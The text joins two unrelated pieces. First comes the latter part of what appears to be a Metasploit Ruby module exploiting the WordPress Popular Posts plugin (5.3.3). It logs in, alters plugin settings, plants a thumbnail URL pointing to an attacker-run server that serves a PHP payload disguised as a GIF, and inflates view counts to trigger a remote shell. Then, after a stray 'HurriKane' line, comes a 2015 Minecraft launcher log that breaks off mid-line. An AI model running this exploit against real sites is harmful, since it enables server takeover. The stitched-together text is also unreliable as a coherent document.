OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class 